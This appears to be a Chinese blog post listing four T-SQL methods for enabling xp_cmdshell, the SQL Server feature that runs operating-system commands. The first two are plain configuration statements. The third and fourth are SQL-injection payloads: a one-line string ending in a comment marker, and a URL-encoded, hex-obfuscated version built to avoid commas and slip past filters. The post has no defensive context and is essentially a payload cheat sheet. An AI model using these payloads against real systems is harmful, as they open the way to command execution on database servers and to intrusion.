开启XP_CMDSHELL的多种方案

开启XP_CMDSHELL的多种方案

方法一

sp_configure 'show advanced options',1
reconfigure
go
sp_configure 'xp_cmdshell',1
reconfigure
go

方法二

sp_configure 'show advanced options',1
RECONFIGURE WITH OVERRIDE
go
sp_configure 'xp_cmdshell',1
RECONFIGURE WITH OVERRIDE
go

方法三

execute('exec..sp_configure ''show advanced options'',1') execute('reconfigure') execute('exec..sp_configure ''xp_cmdshell'',1') execute('reconfigure')--

方法四 不包含逗号

DECLARE%20@q%20VARCHAR(8000);SET%20@q=CAST(0x65786563757465282765786563206d61737465722e2e73705f636f6e66696775726520272773686f7720616476616e636564206f7074696f6e7327272c3127293b6578656375746528277265636f6e66696775726527293b65786563757465282765786563206d61737465722e2e73705f636f6e66696775726520272778705f636d647368656c6c27272c3127293b6578656375746528277265636f6e6669677572652729%20AS%20VARCHAR(8000));EXEC(@q);--a

 

© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容